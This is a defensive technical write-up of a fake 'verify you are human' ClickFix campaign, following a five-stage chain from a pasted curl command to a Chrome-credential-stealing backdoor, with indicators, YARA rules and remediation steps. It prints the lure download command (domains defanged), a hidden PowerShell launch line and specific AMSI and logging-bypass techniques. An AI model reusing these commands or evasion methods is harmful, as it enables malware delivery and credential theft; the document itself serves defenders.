How the fake "verify you are human" malware works

A technical write-up - ArchiveGenocide. Published 23 October 2026, version 1.2 (last updated 23 October 2026).

We're publishing this next to our warning video for anyone who wants the technical detail or needs the indicators to protect other people.

Every malicious domain, link and address below is "defanged" (hxxps, [.]) so nobody clicks one by accident. Please don't visit them. The links to URLhaus and VirusTotal in section 6 are safe and work normally. Section 11 has the lower-level details for analysts.

Downloads

Plain files for defenders, generated from this report and updated with it. Checksums for all of them are in SHA256SUMS.txt.

The short version

A website tells you to press Windows+R and paste a command to prove you're human. That command downloads a Windows installer from a domain made to look like Cloudflare. The installer unpacks five stages, almost all of them in memory, and ends in a backdoor that can run more programs and steal Chrome's saved passwords and cookies.

The chain only starts if a person pastes and runs that command. The analysis found no browser exploit, so just looking at a page is not how this one gets in.

What is confirmed, and what isn't

Confirmed by outside sources that anyone can look at: the delivery domain, the control server and its web addresses exist and are flagged by other researchers. Four of the six files are in VirusTotal, and the two executables among them are detected by dozens of antivirus engines. Details and links are in section 6.

Unknown: who runs any of this. We are not attributing it to anyone.

1. Delivery

The command people were told to paste:

cmd /c curl.exe -fsL --ssl-no-revoke --retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20 -o "%TEMP%\S791.msi" hxxps://cloubflare[.]top/4

cloubflare[.]top is a lookalike of Cloudflare's name, with a "b" where Cloudflare has a "d". It is not Cloudflare. It was registered on 18 October 2026. By 19 October, requests to it returned a Cloudflare "Suspected Malware" warning page, which is why the original download couldn't be fetched for comparison.

Commands like this are typical of "ClickFix" pages, which fake a CAPTCHA and walk you into pasting a command.

The Windows Installer log on the affected machine showed S791.msi installed twice, 13 seconds apart, and each time it was a different product. So the server builds a new package for every request, and blocking one file hash won't stop it.

2. The five stages

Stage What it is What it does
1 Installer (.msi) Installs no files. Runs per-user. All its names and IDs are random. One background action starts a hidden PowerShell window and has it read a script stored inside the installer itself.
2 PowerShell script, about 13 KB Turns off Windows' script scanning and logging, then decodes a 2.2 MB stream into a 1.1 MB program and loads it straight into memory inside powershell.exe. After that it just sleeps in a loop to keep the process alive.
3 "Crypter" program Decrypts a 541 KB blob and runs it as shellcode.
4 Shellcode loader Checks whether it's running on a datacenter network and quits if so. Otherwise it unpacks and starts the final payload.
5 Final payload The backdoor. Talks to a control server, runs tasks, and steals Chrome credentials and cookies.

Stage 2. Three protections go first: the AMSI scanning interface is nulled out, the list of suspicious-content signatures used by PowerShell script-block logging is cleared, and PowerShell's ETW event logging is switched off. Every sensitive string in the script is rebuilt from number arrays while it runs, so it can't be found by searching the file. The decoded program is loaded by hand, never saved to disk.

Stage 3. A 64-bit Windows program (compile date reported as 31 October 2025) dressed up as an invoice viewer. Its version info says the company is "The Sheet Forge" and the product is "Sheet Invoice Nutrition Viewer". About 546 KB of it is encrypted data. When it runs it looks up ntdll functions by hash and writes its own system-call stubs into memory, seeded from the CPU's timestamp counter, so they look different every time. It then decrypts the blob with AES-256-CBC through the Windows CryptoAPI, reverses the bytes, and runs the result.

Stage 4. This one is the reason automated sandboxes see nothing. The shellcode asks ipinfo[.]io/what-is-my-ip about its own address, reads the "ASN type" field from the page it gets back, and exits if that field says "hosting". So it won't run on the kind of servers that security researchers and sandbox services use. ipinfo itself is a normal service, so please don't block it just because of this. There are more checks the analysis couldn't fully decode. If everything passes, it decrypts a second AES-256-CBC container and maps a 474,624-byte program into memory.

Stage 5. A 64-bit program (compile date reported as 15 October 2026, 15:54 UTC). It hides what it does in a few ways:

On the theft side, the code refers to Chrome's Local State, os_crypt and encrypted_key, which is the key that protects saved passwords and cookies. It also sets up a named pipe open to everyone and launches chrome.exe, which points to an attempt to grab Chrome's App-Bound Encryption key from inside a Chrome process. How it does that wasn't worked out. The analysis found no sign of passkey, Windows Hello or TPM theft.

Other abilities the code points to: parent-process spoofing, COM use (consistent with WMI or Task Scheduler), a check for whether the machine is joined to a corporate domain, AMSI patching, and csc.exe, ilasm.exe and RuntimeBroker.exe as possible hiding places. It uses language and locale functions, but no country-based kill switch was found. There's no worm or self-spreading code. What the control server later sends down is unknowable from this sample.

3. How it talks to its control server

On first contact the payload builds a profile of the machine: an ID derived from the system drive's volume information (run through CRC-32 several times), the Windows version, a fixed value 0xB3C845A7 that is probably a build or campaign marker, and a few flags. That goes out as JSON with scrambled key names, encrypted with RC4, Base64-encoded, and POSTed to hxxps://minnarasanen[.]com/nfront.php. It presents itself as the Vivaldi browser and tries up to three times.

The reply is decoded the same way and read as a list of tasks. Each task gets its own thread and 136 seconds. Results go back to hxxps://minnarasanen[.]com/nback.php. Files for a task are downloaded into %TEMP% under a random name (up to 64 MB), then optionally decrypted and decompressed.

Task What it does
1 Writes an executable under a random name and runs it, or runs it inside explorer.exe
2 Loads a module and calls a function by hash. Purpose not determined.
3 Runs a DLL or .NET payload inside explorer.exe, or copies shellcode into executable memory and calls it
4 Starts PowerShell with a command the server supplies
6 Saves an .msi and installs it with msiexec /i, the same way the first infection happened
7 Unpacks a bundle of several files onto disk

The numbers are the task types as found in the code; no type 5 was found. If the server asks, it will also add itself to the Run or RunOnce registry keys (per-user or machine-wide) so it starts again after a reboot.

4. What happened on the infected machine

Our analyst checked one affected Windows 11 machine one to three days after infection. Endpoint antivirus had been installed about two hours after the infection and had removed the downloaded installer. The checks found:

That's one machine, checked once. On that machine, the infection didn't appear to survive.

5. Timeline (UTC, where known)

6. What anyone can check

URLhaus (abuse.ch). hxxps://minnarasanen[.]com/nfront.php and /nback.php are listed with the tags c2, exfiltration, malware_download, oniondrop, satacom, win and ClickFix, reported by a researcher on 22 October. hxxps://cloubflare[.]top/5 is listed separately by a different researcher on 19 October, tagged maldoc ole2 (Windows installer files are OLE2 files, so that fits). Pages: https://urlhaus.abuse.ch/host/minnarasanen.com/ and https://urlhaus.abuse.ch/host/cloubflare.top/

Spamhaus lists minnarasanen[.]com as a botnet command-and-control domain and puts 109.238.86.137 on its SBL blocklist (SBL696993). Cloudflare's and AdGuard's DNS filtering both block cloubflare[.]top.

VirusTotal has the stage 3 and stage 5 files. Stage 3 is flagged by 41 of 66 engines and stage 5 by 32 of 69, and the stage 5 detections include CrowdStrike, Elastic and Symantec. The stage 3 entry even carries the file name sheet_invoice_nutrition, matching the fake version info described above. https://www.virustotal.com/gui/file/3a5fbb34e9d361e8b4887943ba9b7543dce23c7e7fa27412c5aeb988a7733ffa and https://www.virustotal.com/gui/file/9003c9e30f7ab84d7ac99c83961b236bb5da1adf9211af7b38ddaae27922d6d1

ESET is reported to detect the installer as PowerShell/Agent.FPX.

VirusTotal's own metadata for stage 3 matches the analysis on every figure we could compare: MD5, import hash, size (1,107,968 bytes), compile date, seven sections, and a 546,304-byte .rdata section at entropy 8.0. Its version information shows the internal name, original name and product name given above, and "The Sheet Forge" in the copyright line. For stage 5 the MD5, size (474,624 bytes) and compile date match.

The stage 2 encoded program and the stage 4 shellcode are in VirusTotal too, at exactly the sizes given in this report (2,215,940 and 541,332 bytes). They show no detections, which is normal for raw encrypted or encoded data that can't run on its own.

The stage 1 installer and the stage 2 script are not in VirusTotal. That's expected, since the installer is rebuilt for every request and the script only exists inside it, but it does mean those two hashes can't be confirmed from outside.

7. The lookalike domain

archievegenocide[.]com (an extra "e", registered on 4 July 2026) does not show the same thing to everyone. One of our team, loading it from an ordinary connection, was shown the page that tells visitors to paste the command.

The fake address archievegenocide.com has one extra letter "e" after "archi". The real address is archivegenocide.com.

Other visitors have seen this:

Only one of those is the page that tells people to paste a command, so what you see when you visit doesn't tell you much. The people behind this malware already filter who gets the real thing (see stage 4), and adverts and redirects like these are also common on domains that are parked or sold through advertising networks. A harmless-looking page proves nothing. Please don't test it yourself.

We've listed the domain in section 8 but not its server addresses. Those may be shared with unrelated sites, and we don't want anyone blocking innocent ones because of us.

8. Indicators

Everything below can also be downloaded as plain files from the Downloads list at the top.

Network

All defanged:

archievegenocide[.]com                   lookalike of our name; content varies by visitor (see section 7)
cloubflare[.]top                         delivery, imitates Cloudflare
hxxps://cloubflare[.]top/4               serves the .msi
hxxps://cloubflare[.]top/5               listed by URLhaus as a malware URL
hxxps://cloubflare[.]top/login           seen in public scans; purpose unknown
minnarasanen[.]com                       control server, 109.238.86.137, AS201738
hxxps://minnarasanen[.]com/nfront.php    check-in and tasking
hxxps://minnarasanen[.]com/nback.php     results
hxxps://ipinfo[.]io/what-is-my-ip        normal service, used for the sandbox check

The control server's address has carried other names. VirusTotal shows walinternet[.]com resolving to it (last seen 16 October) and a name on the free wildcard-DNS service sslip[.]io (last seen 10 September), so the address was already in use about a month before the control domain was registered. We don't know how walinternet[.]com is connected, so it is deliberately not in the list above.

File hashes

SHA-256:

c0e53cb9de9f4be3e13d7fcb4bd91423df00909b9f8a148c665185accf24f3b6   stage 1, the .msi (S791.msi)
8cde125070853afe74fae47de1b0b998cdc7c74aceda819ed715aadde9216dda   stage 2, PowerShell script
8e76a43bf8c239620dc8cf00857e0292525dd6d28cabbf0a8a82cc0e9aacf01b   stage 2, encoded program
3a5fbb34e9d361e8b4887943ba9b7543dce23c7e7fa27412c5aeb988a7733ffa   stage 3, crypter
2c33be41a7bf087a29fa8b8367aa8e64802a50a825c0180ed5401c542628b39e   stage 4, shellcode (after byte reversal)
9003c9e30f7ab84d7ac99c83961b236bb5da1adf9211af7b38ddaae27922d6d1   stage 5, final payload

MD5 and import hashes:

65f26b1294a0b1bad9460b4566b300d6   stage 1, MD5
089d9c0f59ae90fd14903e3128572f25   stage 3, MD5
5fcab591f2bb814f021784af7fbe4a63   stage 5, MD5
241b6302ab625ed2e79213b6b4dfdeb2   stage 3, import hash
a3beeb86b2d4a4a9c89d5ff3fe8bc4e0   stage 5, import hash

The stage 5 import hash comes from VirusTotal. That file's import table is a decoy, but the hash still identifies this build.

Traces on an infected machine

From the build that was analysed: two environment variables with random names, one holding the installer's path and one guarding against a second launch; a registry value under HKCU\Software\ with a random key name; and Run or RunOnce entries if the server asked for persistence. Names like these change with every build, and so do the installer's metadata, GUIDs and stream names. Don't build detections on them. The hashes of stages 3 to 5, the fake version info, the domains and the behaviours are the stable parts.

VirusTotal lists 36 files seen contacting the control server in public sandbox runs, first seen between 16 and 23 October. New ones keep appearing; the newest here was first seen on 23 October. We haven't analysed these ourselves. They are 26 ZIP archives, 8 executables and 2 PowerShell scripts, flagged by between 3 and 46 engines. Besides stages 3 and 5 above, these were flagged by 15 or more engines (hash, engines flagging, type, first seen, names seen):

612d671624b4f0f88c91960756b08692cc5fa9211f86d993ecd576ce112097bd   46/71  EXE        16 Oct  261016-y2hbzazxh1_sample.bin, skill_lesson_generator
68ae9b66f9166047b34b4ec3a35383e485c68702d48bc5ef7ce2492e4e28048f   24/68  EXE        22 Oct  R92e2i2kC_decoded.bin, ypvs3fze.exe
624ef5daed1bf4a20c25bf0ee5c1a78076a8977c932dc6ae2a55a483707c0115   19/54  PowerShell 17 Oct  P600.ps1
8db39bf900bb14691992a1ad2d118cfc54435b20f35d3dc64f988bf6eee7226f   19/55  EXE        20 Oct  triggerdesigner, payload.bin
f5f2d1f10a88e782ffbbdf3c0698aaa1fc72fa19ba7ca6121fe9a7d4f9f65d5e   17/66  EXE        23 Oct  trigger_workflow_builder, ToyURn748_decoded.exe

The full list, with detection counts, is here: related_samples_2026-10-23.csv. The ZIPs with few detections are leads to check rather than confirmed malware. A file that contacts the control server in a sandbox is suspicious, but only some of these are flagged by many engines.

9. Detection

These YARA rules are written from the facts above. Tested with YARA-X 1.21.0, they:

We have not been able to test them against the real samples, so please test them yourself before relying on them.

On an infected computer these stages mostly run from memory and are rarely saved as files, so the hash rule is mainly useful for samples that analysts or antivirus products have already collected, or for memory scans. The stage 1 installer is left out because it's rebuilt for every download. The version-info rule only uses fields that VirusTotal shows for the real stage 3 file.

import "hash"
import "pe"

rule Campaign_Known_Sample_Hashes
{
  meta:
    description = "SHA-256 of the stages named in the 23 Oct 2026 report"
  condition:
    hash.sha256(0, filesize) == "8cde125070853afe74fae47de1b0b998cdc7c74aceda819ed715aadde9216dda" or
    hash.sha256(0, filesize) == "8e76a43bf8c239620dc8cf00857e0292525dd6d28cabbf0a8a82cc0e9aacf01b" or
    hash.sha256(0, filesize) == "3a5fbb34e9d361e8b4887943ba9b7543dce23c7e7fa27412c5aeb988a7733ffa" or
    hash.sha256(0, filesize) == "2c33be41a7bf087a29fa8b8367aa8e64802a50a825c0180ed5401c542628b39e" or
    hash.sha256(0, filesize) == "9003c9e30f7ab84d7ac99c83961b236bb5da1adf9211af7b38ddaae27922d6d1"
}

rule Stage3_Fake_VersionInfo
{
  meta:
    description = "Crypter pretending to be an invoice viewer"
  condition:
    pe.is_pe and
    pe.version_info["InternalName"] == "sheet_invoice_nutrition" and
    pe.version_info["ProductName"] == "Sheet Invoice Nutrition Viewer"
}

Because each installer is different, behaviour is a better bet than hashes. Things to look for:

10. What to do

If you think you pasted the command:

  1. Disconnect the computer from the internet.
  2. From a different, clean device, change the passwords on your important accounts and sign out every other session (on Google it's Security, then Your devices, then Sign out). This malware goes after browser cookies, which can let someone in without your password, so changing passwords alone isn't enough.
  3. Use a hardware key or passkey for sign-in where you can.
  4. Get the computer checked, or wipe it and reinstall. Antivirus might remove the first file, but it can't tell you nothing else was installed.
  5. If you're a journalist, researcher or rights defender and you'd like help, a free digital-security helpline can walk you through it.

For everyone: a real CAPTCHA or "are you human" check never asks you to open the Run box, a terminal or PowerShell and paste something. If a page does, close it.

For administrators: consider restricting per-user MSI installs; limiting curl.exe, msiexec.exe and PowerShell for ordinary users (AppLocker or WDAC, PowerShell Constrained Language Mode); turning off the Run dialog where that's practical; keeping AMSI and script-block logging on and alerting if they're tampered with; and blocking the domains in section 8.

11. Appendix: details for analysts

Lower-level details from the static analysis, for people who want to cross-check it or write their own detections. Key material is deliberately not reproduced. Anything marked "random" changes with every build.

A. The installer

WindowsPowerShell\v1.0\powershell.exe -nop -w h -ep bypass -c "$env:<VAR>='[OriginalDatabase]'; [<PROPERTY>]"

The type decodes as base type 34 (EXE, working directory from the Directory table), 0x40 ignore exit code, 0x80 asynchronous (don't wait), 0x400 deferred (in-script) and 0x1000 64-bit script. It isn't marked NoImpersonate, so it runs as the installing user. - InstallExecuteSequence: the action runs at sequence 5200 with the condition NOT REMOVE, so on install and repair but not on uninstall. - What the action does: [OriginalDatabase] (the path of the installing MSI) is handed over in an environment variable, and [<PROPERTY>] expands to the stage 1 script:

&([scriptblock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<UTF-16LE base64>'))))

B. Stage 1 script

  1. Detaches from msiexec. If a guard variable isn't set, it sets it to 1, reads its own command line from Win32_Process, and relaunches itself through an Add-Type C# helper that calls CreateProcessW. Creation flags are 0x09000200 (CREATE_BREAKAWAY_FROM_JOB | CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP), falling back to 0x08000000, with STARTF_USESHOWWINDOW and SW_HIDE. Then the original process exits. This lets the payload outlive the installer's job object.
  2. Builds P/Invoke stubs through Reflection.Emit (DefineDynamicAssembly, DefinePInvokeMethod) for VirtualAlloc, VirtualProtect, CreateThread, LoadLibraryA, GetProcAddress, MsiOpenDatabaseW, MsiDatabaseOpenViewW, MsiViewExecute, MsiViewFetch, MsiRecordReadStream and MsiCloseHandle.
  3. Reads stage 2 out of the installer. It opens the MSI at the path from the environment variable, runs the query below, decodes the stream as UTF-8 and runs it as a script block:
SELECT `Data` FROM `Binary` WHERE `Name`='<stream name>'

C. Stage 2

Target Technique
AMSI System.Management.Automation.AmsiUtils, static field amsiContext set to IntPtr.Zero (binding flags 40 = NonPublic, Static)
Script-block logging System.Management.Automation.ScriptBlock, static field signatures (the suspicious-content list) cleared with .Clear()
PowerShell ETW System.Management.Automation.Tracing.PSEtwLogProvider, field etwProvider, instance field m_enabled set to 0

D. Stages 3 and 4

Stage 3 (crypter). PE32+ GUI, 7 sections, .rdata of 546,304 bytes at entropy 8.0, very few imports (VirtualAlloc, VirtualProtect, VirtualFree, VirtualQuery, thread-pool work APIs and a few USER32 window functions).

container: [u32 size=0x842A0][u32 flags][u64 out_ptr][8 pad][32-byte AES key @+0x18][16-byte IV @+0x38][ciphertext @+0x48]
CryptAcquireContext(PROV_RSA_AES = 0x18, CRYPT_VERIFYCONTEXT = 0xF0000000)
CryptImportKey(PLAINTEXTKEYBLOB: bType=8, bVersion=2, aiKeyAlg=0x6610 (CALG_AES_256), len=0x20)
CryptSetKeyParam(KP_IV)
CryptDecrypt(final=TRUE)           -> AES-256-CBC, PKCS#7 padding
flag bits: 1 = AES-encrypted, 2 = byte-reverse after decryption, 4 = allocate the output as RWX

The plaintext is 541,332 bytes; after byte reversal it is the stage 4 shellcode, which is run through a thread-pool work item (CreateThreadpoolWork).

Stage 4 (shellcode loader).

Sanity check on the sizes (our arithmetic, not from the analysis). 0x842A0 is 541,344 bytes of ciphertext, which is 541,332 bytes of plaintext rounded up to the 16-byte block size. 0x73E10 is 474,640 bytes, which is the 474,624-byte stage 5 file plus a full padding block. The call at the start of stage 4 jumps 0x73E58 bytes past its own 5-byte length, landing on 0x73E5D. The block the call jumps over, 0x73E58 bytes, is exactly one container: a 0x48-byte header plus 0x73E10 bytes of ciphertext. And the stage 2 decoding (skip a 4-byte header, take every second byte) turns the 2,215,940-byte stream into exactly 1,107,968 bytes, the size of stage 3. All of these agree with the figures above, and VirusTotal holds files of exactly these sizes for stages 2b, 3, 4 and 5.

E. Stage 5 (final payload)

We'll update this if we learn more. If you want to contact us, you can reach us on Telegram.

Updates